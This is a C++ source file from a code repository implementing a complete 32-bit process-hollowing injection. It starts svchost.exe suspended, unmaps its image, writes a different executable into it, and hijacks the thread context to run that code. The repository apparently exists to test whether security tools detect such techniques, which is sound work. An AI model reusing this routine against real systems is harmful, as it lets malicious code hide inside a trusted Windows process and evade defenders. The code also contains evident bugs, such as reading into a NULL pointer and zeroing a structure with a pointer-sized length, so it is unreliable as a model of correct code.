Files
hfiref0x 10b0a24747 Fix multiple bugs in GetSetThreadContext_Injection routine
Fixed invalid allocation size for CONTEXT structure (rounded up by system however), multiple resource leaks
2019-01-18 14:06:40 +07:00

133 lines
4.2 KiB
C++

#include "pch.h"
#include "GetSetThreadContext.h"
BOOL GetSetThreadContext_Injection()
{
#ifdef _WIN64
return TRUE; //TODO implement this on x64
#else
TCHAR lpApplicationName[] = _T("C:\\Windows\\System32\\svchost.exe");
TCHAR lpApplicationName2[] = _T("C:\\masm32\\examples\\dialogs_later\\basic\\basicdlg.exe");
BOOL bResult = FALSE;
STARTUPINFO StartupInfo;
PROCESS_INFORMATION ProcessInfo;
PCONTEXT pContext = NULL;
HANDLE hFile = INVALID_HANDLE_VALUE;
SecureZeroMemory(&StartupInfo, sizeof(STARTUPINFO));
SecureZeroMemory(&ProcessInfo, sizeof(PPROCESS_INFORMATION));
do { /* not a loop */
// Create the hollowed process in suspended mode
if (!CreateProcess(lpApplicationName, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &StartupInfo, &ProcessInfo)) {
print_last_error(_T("CreateProcess"));
break;
}
// Allocate space for context structure
LPVOID pTargetImageBase = NULL;
pContext = PCONTEXT(VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE));
if (pContext == NULL) {
print_last_error(_T("VirtualAlloc"));
break;
}
// Get the thread context of target
pContext->ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(ProcessInfo.hThread, pContext)) {
print_last_error(_T("GetThreadContext"));
break;
}
// Read the image base address of target
ReadProcessMemory(ProcessInfo.hProcess, LPCVOID(pContext->Ebx + 8), pTargetImageBase, 4, NULL);
// Opening source image
hFile = CreateFile(lpApplicationName2, GENERIC_READ, NULL, NULL, OPEN_ALWAYS, NULL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
print_last_error(_T("CreateFile"));
break;
}
// Reading the file
DWORD dwSize = GetFileSize(hFile, 0);
DWORD dwBytesRead;
PBYTE pBuffer = static_cast<PBYTE>(MALLOC(dwSize));
if (pBuffer == NULL) {
print_last_error(_T("HeapAlloc"));
break;
}
else {
SecureZeroMemory(pBuffer, dwSize);
ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
PIMAGE_SECTION_HEADER pImageSectionHeader;
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuffer;
if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
{
PIMAGE_NT_HEADERS32 pNTHeaders = PIMAGE_NT_HEADERS(DWORD(pBuffer) + pDosHeader->e_lfanew);
if (pNTHeaders->Signature == IMAGE_NT_SIGNATURE)
{
if (DWORD(pTargetImageBase) == pNTHeaders->OptionalHeader.ImageBase)
{
pNtUnmapViewOfSection NtUnmapViewOfSection;
NtUnmapViewOfSection = (pNtUnmapViewOfSection)(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
NtUnmapViewOfSection(ProcessInfo.hProcess, pTargetImageBase);
}
LPVOID pImageBase;
pImageBase = VirtualAllocEx(ProcessInfo.hProcess, LPVOID(pNTHeaders->OptionalHeader.ImageBase),
pNTHeaders->OptionalHeader.SizeOfImage,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (pImageBase == NULL) {
print_last_error(_T("VirtualAllocEx"));
break;
}
else {
WriteProcessMemory(ProcessInfo.hProcess, pImageBase, pBuffer, pNTHeaders->OptionalHeader.SizeOfHeaders, NULL);
for (int Count = 0; Count < pNTHeaders->FileHeader.NumberOfSections; Count++)
{
pImageSectionHeader = PIMAGE_SECTION_HEADER(DWORD(pBuffer) + pDosHeader->e_lfanew + 248 + (Count * 40));
WriteProcessMemory(ProcessInfo.hProcess, LPVOID(DWORD(pImageBase) + pImageSectionHeader->VirtualAddress),
LPVOID(DWORD(pBuffer) + pImageSectionHeader->PointerToRawData), pImageSectionHeader->SizeOfRawData, NULL);
}
WriteProcessMemory(ProcessInfo.hProcess, LPVOID(pContext->Ebx + 8), LPVOID(&pNTHeaders->OptionalHeader.ImageBase), 4, NULL);
pContext->Eax = DWORD(pImageBase) + pNTHeaders->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(ProcessInfo.hThread, LPCONTEXT(pContext));
LONG dwRet;
dwRet = ResumeThread(ProcessInfo.hThread);
bResult = (dwRet != -1);
}
}
}
FREE(pBuffer);
}
} while (FALSE); /* not a loop */
/* Cleanup */
if (ProcessInfo.hThread) CloseHandle(ProcessInfo.hThread);
if (ProcessInfo.hProcess) CloseHandle(ProcessInfo.hProcess);
if (pContext) VirtualFree(pContext, 0, MEM_RELEASE);
if (hFile != INVALID_HANDLE_VALUE) CloseHandle(hFile);
return bResult;
#endif
}